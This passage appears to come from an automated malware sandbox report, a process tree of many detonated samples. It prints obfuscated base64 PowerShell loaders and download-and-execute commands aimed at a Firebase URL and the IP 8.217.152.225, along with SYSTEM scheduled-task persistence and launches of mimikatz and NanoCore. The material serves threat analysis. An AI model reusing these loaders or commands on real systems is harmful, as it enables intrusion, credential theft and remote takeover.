pbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\AlphaUp-SSK.exeAlphaUp-SSK.exe4⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\vabank.exevabank.exe4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_receipt_12_02_2025.msi4⤵
- Badlisted process makes network request
- Manipulates Digital Signatures
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\zx.exezx.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\zx.exezx.exe5⤵
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\DowOnline.Installer.exeDowOnline.Installer.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-NN3PA.tmp\DowOnline.Installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-NN3PA.tmp\DowOnline.Installer.tmp" /SL5="$1049E,13495130,780800,C:\Users\Admin\AppData\Local\Temp\a\DowOnline.Installer.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Setup_Vreugd_Online_Magneetkaart_1290.exeSetup_Vreugd_Online_Magneetkaart_1290.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8VDD4.tmp\Setup_Vreugd_Online_Magneetkaart_1290.tmp"C:\Users\Admin\AppData\Local\Temp\is-8VDD4.tmp\Setup_Vreugd_Online_Magneetkaart_1290.tmp" /SL5="$4025C,3451169,56832,C:\Users\Admin\AppData\Local\Temp\a\Setup_Vreugd_Online_Magneetkaart_1290.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\mimikatz.exemimikatz.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Q2Rb9HA.exeQ2Rb9HA.exe4⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe andre.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$andre.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\LosslessCut.exeLosslessCut.exe4⤵
- Checks computer location settings
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\SplashtopSOS_Win_v3.8.0.1_HSL5K57RTHH5.exeSplashtopSOS_Win_v3.8.0.1_HSL5K57RTHH5.exe4⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c schtasks /create /xml ASOS.xml /ru "system" /tn ASOS15⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /xml ASOS.xml /ru "system" /tn ASOS16⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c schtasks /change /tn ASOS1 /ru "system" /tr "'C:\Users\Admin\AppData\Local\Temp\unpacksos\1\\Launcher.exe' SRManagerSOS.exe 1 "5⤵
-
C:\Windows\system32\schtasks.exeschtasks /change /tn ASOS1 /ru "system" /tr "'C:\Users\Admin\AppData\Local\Temp\unpacksos\1\\Launcher.exe' SRManagerSOS.exe 1 "6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoCore_Portable.exeNanoCore_Portable.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempDel.bat" "5⤵
-
C:\Windows\SysWOW64\mode.commode 30,206⤵
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 106⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"6⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\AvamarConsoleMultiple-windows-x86_64-7.2.1-32.exeAvamarConsoleMultiple-windows-x86_64-7.2.1-32.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\a\db1300_20250926.exedb1300_20250926.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-ATUFB.tmp\db1300_20250926.tmp"C:\Users\Admin\AppData\Local\Temp\is-ATUFB.tmp\db1300_20250926.tmp" /SL5="$3026A,32502695,139264,C:\Users\Admin\AppData\Local\Temp\a\db1300_20250926.exe"5⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-NR4NC.tmp-dbinst\setup.exe"C:\Users\Admin\AppData\Local\Temp\is-NR4NC.tmp-dbinst\setup.exe" "C:\Users\Admin\AppData\Local\Temp\a\db1300_20250926.exe" /title="Driver Booster 13" /dbver=13.0.0.143 /eula="C:\Users\Admin\AppData\Local\Temp\is-NR4NC.tmp-dbinst\EULA.rtf" /showlearnmore /pmtproduct /nochromepmt /runupt6⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13544 -s 9487⤵
- Program crash
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoCore_Portable.exeNanoCore_Portable.exe4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_Receipt_11_28_2025.msi4⤵
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i em_lmNmqXjo_installer_Win7-Win11_x86_x64.msi4⤵
- Badlisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\Auo1.exeAuo1.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11088 -s 8005⤵
- Program crash
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stein.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe 1.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Remotely_Desktop.exeRemotely_Desktop.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8048 -s 7885⤵
- Program crash
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\offlinepackv4.exeofflinepackv4.exe4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe user_c.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\guide.txt"5⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'http://8.217.152.225/Setup.msi' -OutFile 'C:\Users\Public\Setup.msi'"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'http://8.217.152.225/hello.exe' -OutFile 'C:\Users\Public\hello.exe'"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'http://8.217.152.225/bin' -OutFile 'C:\Users\Public\bin'"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Public & start "" "C:\Users\Public\hello.exe"5⤵
-
C:\Users\Public\hello.exe"C:\Users\Public\hello.exe"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Advanced_4196.1.1150_INSTALL.exeAdvanced_4196.1.1150_INSTALL.exe4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\iopvb_x64.exeiopvb_x64.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeLoader.exe4⤵
- Adds Run key to start application
-
-
-
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "NETLOCALSYS"1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "NETLOCALSYS"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\NETLOCALSYS.exeC:\Windows\system32\NETLOCALSYS.exe "c:\windows\system32\240613765.dll",MainThread2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JiAoICRwc0hPbWVbNF0rJHBzaG9tZVszMF0rJ3gnKSgoKCdCcjdwc3ljaG9wYXRoaXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtCcjdwc3ljJysnaG9wYXRoaXN0LkhlYWRlcnMuQWRkKFF6ZlVzZXItQWdlbnRRemYsIFF6Zk1vemlsbGEvNS4wIChXJysnaW4nKydkb3dzICcrJ05UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LycrJzUzNycrJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzZRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy5BZGQoUXpmQWNjZXB0UXpmLCBRemZ0ZXh0L2h0bWwsYXBwbGljYScrJ3Rpb24veCcrJ2h0bWwreG1sLGFwcGxpYycrJ2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy4nKydBZGQoUXpmQWNjZXB0LUxhbmd1YWdlUXpmLCBRemZlJysnbi1VUyxlbjtxPTAnKycuOVF6Zik7QnI3c2xpbmtpZScrJ3IgPSBRQVBodCcrJ3RwczovL3BuZ3VwLmNvbS9WbU8nKyd2L01TSV9QUk9fd2l0aF9iNicrJzQucG5nUUFQO0JyN2VzdHVhdGUgPSBCcjdwc3ljaG9wYXRoaXN0LkRvd25sb2FkRGF0YShCcjcnKydzbGlua2llJysncik7QnI3bXVsdGlwbGFuZXQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBJysnU0NJSS5HZXRTdHJpbmcoQnI3ZXN0dWF0ZSk7aWYgKEJyN211bHRpcGwnKydhbmV0IC1tYXRjaCBRQVBCYXNlU3RhcnQtKC4qPycrJyktQmFzZUVuZFFBUCkgeyAgQnI3YWxsZWdvcmlzdHMgJysnPSBCcjdtYXRjaGVzWzFdOyAgQnInKyc3cGFyYWZsb2NjdWx1cyA9IFtSZWZsZWN0aW9uLkFzcycrJ2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoQnI3JysnYWxsZWdvcmlzdHMpKTsgIFtDbGFzJysncycrJ0xpYnJhcnkxLicrJ0NsYXNzMV06OlZBSShRQVA9PWdVSGwzUzN4MlFraFRRWnQyTTRKMmJHSm5hdU5WVkVWVFJhVlhPTjlrU0tSV2I2UjNRdzhXYk1oallwUlZlcjkyTG05Q2F6NXljbScrJ1ZuTHdjbWRtUjNid1ozY2w5eUw2TUhjMFJIYVFBUCxRQVBRQVAsUUFQQzpTQU1Vc2Vyc1MnKydBTVB1YmxpY1NBTURvd25sb2Fkc1MnKydBTVFBUCxRQVBRcnlJJysnS0knKydtUXVNUUEnKydQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGh0dHBzOi8vY2RuLmRpc2NvcmQnKydhcHAuY29tL2F0dGFjaG1lbnRzLzExODEzNzg5MDIxMTYwMTYyMjIvMTQzODY4MjQyJysnMDQ3NDgxMDUyMS9zaGltLnZicz9leD02OTE3YzRlYSZpcycrJz02OScrJzE2NzMnKyc2YSZobT05YWI2ZjEyZWYxZjRlODMzNzQ2N2UyODBiN2NhYzkzZjU3NzIyMWQzZmYwODE5ZTJlYjM0NTRmMjYzMTMyMzU1JlFBUCxRQVBDOlNBTVVzZXJzU0FNUHVibGljU0FNRG93bmxvYWRzU0FNUUFQLFFBJysnUFFyeUlLSW1RdU1RQVAsUUFQdmJzUUFQLFFBUDFRQVAsUUFQUUFQLFFBUDRvT2onKydiMmhuRjNRQVAsUUEnKydQMFFBJysnUCxRQVBRQVAsUUFQaHR0cHM6Ly9lc3Zwb3RmdmcwLnVmcy5zaC9mL29reVRpYjhMbW8wQ2V6RERFU0pEV3RLSDZDYWp3bU1ab2hBUHZCUmlVejM5MXlJY1FBUCxRQVBRQVApO30nKSAgLWNyRXBsQUNFICAoW0NoYVJdODErW0NoYVJdMTIyK1tDaGFSXTEwMiksW0NoYVJdMzQtcmVwTGFjRSAoW0NoYVJdODErW0NoYVJdNjUrW0NoYVJdODApLFtDaGFSXTM5IC1jckVwbEFDRSdCcjcnLFtDaGFSXTM2IC1yZXBMYWNFKFtDaGFSXTgzK1tDaGFSXTY1K1tDaGFSXTc3KSxbQ2hhUl05MikgKQ==')) | 